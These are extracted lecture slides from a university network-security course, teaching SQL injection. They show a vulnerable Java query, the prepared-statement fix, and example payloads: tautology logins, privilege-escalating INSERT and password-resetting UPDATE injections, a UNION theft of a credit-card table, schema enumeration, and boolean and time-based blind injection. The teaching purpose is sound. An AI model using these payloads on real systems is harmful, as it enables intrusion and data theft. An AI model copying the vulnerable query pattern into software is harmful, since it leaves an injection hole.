Webapp security: SQL injection Network Security Lecture 9 Today - - PowerPoint PPT Presentation

Webapp security: SQL injection

Network Security Lecture 9

Today

• We have finished analyzing the security of

network protocols

• We will now focus on web applications and

their vulnerabilities (and attacks)

– SQL injection

Eike Ritter Network Security - Lecture 9 1

SQL INJECTION

Eike Ritter Network Security - Lecture 9 2

SQL injection

• Input validation vulnerability
• SQL queries are built using (unsanitized) data provided by

the users

String q = "SELECT user, pwd FROM users ” + "WHERE user= ‘" + request.getParameter("user") + ”’ ”; stmt.executeQuery(q);

• If the attacker provides as parameter special characters

such as ‘ (tick), -- (comment), + (space), % (wildcard), it is possible to:

– Modify queries in an unexpected way – Probe the database – Run commands (e.g., using xp_commandshell in MS SQL Server)

SQL injection

SQL injection

Eike Ritter Network Security - Lecture 9 5

SQL injection

SQL Query SELECT user, pwd FROM users WHERE user = ‘foo’ "SELECT user, pwd FROM users ” + "WHERE user= ‘" + request.getParameter("user") + ”’ ”; foo

SQL injection

SQL Query SELECT user, pwd FROM users WHERE user = ‘’ OR 1=1#’ "SELECT user, pwd FROM users ” + "WHERE user= ‘" + request.getParameter("user") + ”’ ”; ‘ OR 1=1#

SQL injection

• The application is not vulnerable if it uses

prepared statements

authQuery = conn.prepareStatement( “SELECT user, pwd FROM users WHERE user = ?”); authQuery.setString(1, request.getParameter(“user”)); authQuery.executeQuery();

Eike Ritter Network Security - Lecture 9 8

Finding SQL injections

• Provide the application specially-crafted

values and check if they cause errors

– ‘ – “ – #

• Inject expression (typically a tautology) and

check if it is interpreted:

– user=‘ OR 1=1 #

Eike Ritter Network Security - Lecture 9 9

Exploiting SQL injections

• Take advantage of server’s error messages to

learn the structure of the database and its tables

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'foo, user, pwd from users' at line 1

Exploiting SQL injections

• Take advantage of server’s error messages to

learn the structure of the database and its tables

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'foo, user, pwd from users' at line 1

Exploiting different statement types

• INSERT INTO users (user, pwd,

privs) VALUES (‘foo’, ‘bar’, 1)

• Suppose user field is vulnerable
• Attacker submits:

foo’, ‘bar’, 0) #

• User foo is now registered with administrative

privileges (0)

Exploiting different statement types

• UPDATE users SET pwd = ‘newbar’

WHERE user = ‘foo’ AND pwd = ‘bar’

• Again, user field is vulnerable
• Attacker submits

admin’ #

• Attacker resets the admin’s password to a

string of his/her choice

Exploiting SQL injection – cont’d

• You identified a SQL injection in the SELECT query used

in the login page SELECT user, pwd FROM users WHERE user = ‘ + request.getParameter(“user”)

• Great, you can enumerate all the users and their

passwords

• What if you are interested in the content of the

credit_card table?

• UNION operator to the rescue

foo’ UNION SELECT cc_n, cc_name FROM credit_card

Exploiting SQL injection – cont’d

• Finding out more information about the database

– Examples specific to MySQL (similar for other DBs) – Examples may fail depending on the specific configuration

• f the DB
• List users of database

select distinct user from mysql.user

• List tables in database

select table_name, table_schema from information_schema.tables

• Get column name and type for a table in a given DB

select column_name, column_type from information_schema.columns where table_schema = ”mydb” and table_name = “users”

Eike Ritter Network Security - Lecture 9 15

Blind SQL injection

• Suppose error messages are disabled

– Unsure whether command is executed correctly

• How do we know if execution was successful?
• Technique:

– Conditional responses

• Special case: timing techniques

– Out-of-band channel

Eike Ritter Network Security - Lecture 9 16

Conditional responses

• We leverage the SQL injection to ask boolean

questions to the server

– Questions that have a true/false answer

• Are we running as root?
• Is the first letter of the current database ‘a’?
• Technique

– Establish baseline: determine what response is provided by the application for a true question and for a false question

• “true page”: page returned for a true question
• “false page”: page returned for a false question

– Inject question – Compare result with baseline

• Did we obtain a true page or a false page

Eike Ritter Network Security - Lecture 9 17

Conditional responses

• Scenario:

– Assume there is a SQL injection on product_id parameter: /view?product_id=N – True page “Details about product…” – False page “No information about the product you searched”

• Injections:

– product_id=42 AND user() = “root” – product_id=42 AND substring(database(), 1, 1) = ‘a'

Eike Ritter Network Security - Lecture 9 18

Establishing the baseline

• Keywords

– Search for keywords that appear in the true page only and in the false page only

• MD5

– Hash the resulting page

• HTML structure differences

– Differences in the DOM tree structure

• Useful inputs to determine baseline

– True question: 1=1 – False question: 1=0

Eike Ritter Network Security - Lecture 9 19

Time-based techniques

• Leverage time delays to infer execution status
• Often attacker can force query to take long time

if certain condition is met

– waitfor (SQL Server) – sleep (MySQL)

• Technique:

– Hypothesis: “we are running as root” – Validation: issue a query that takes 5 seconds if the current user is actually root, else it terminates very quickly

Eike Ritter Network Security - Lecture 9 20

Time-based techniques (MySQL)

• Are we running as root?

select if ( user() = "root", sleep(5), 1);

• Is the first letter of the user ‘a’?

select if(substring(user(), 1, 1) = 'a', sleep(10), 2); 1 row in set (0.00 sec)

• Is the first letter of the user ‘n’?

select if(substring(user(), 1, 1) = 'n', sleep(10), 2); 1 row in set (10.00 sec)

• How do we determine all the letters in the

username?

– 10 seconds per try – Binary search, anyone?

Eike Ritter Network Security - Lecture 9 21

NEXT ON

Eike Ritter Network Security - Lecture 9 22

Take away point and next time

SQL injection

• Basic techniques
• More advanced techniques

– E.g., UNION queries

• Blind injection

– Conditional responses – Time-based techniques

Next time

• More SQL injection
• Cross-site scripting

vulnerabilities (XSS)

• Cross-site request forgery

(CSRF)

Eike Ritter Network Security - Lecture 9 23

Read more

• C. Anley, (more) Advanced SQL injection
• K. Spett, Blind SQL Injection
• C. Hotchkies, Blind SQL Injection Automation

Techniques

• F. Mavituna, SQL Injection Cheat Sheet
• B. Damele and A. Guimaraes, Advanced SQL

injection to operating system full control

Eike Ritter Network Security - Lecture 9 24